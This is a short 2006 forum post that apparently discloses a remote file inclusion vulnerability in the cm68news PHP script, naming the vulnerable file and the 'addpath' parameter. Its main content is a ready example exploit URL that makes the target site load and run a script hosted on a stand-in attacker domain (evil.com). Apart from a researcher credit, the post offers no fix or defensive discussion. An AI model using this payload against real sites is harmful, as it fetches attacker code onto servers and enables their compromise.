Don Posted December 8, 2006 Report Posted December 8, 2006 Vulnerable Software:cm68newsVulnerable file: /engine/oldnews.inc.phpCredits: Paul BakoyiannisVulnerable Variable: addpathExample Exploit: [url]http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?&[/url] Quote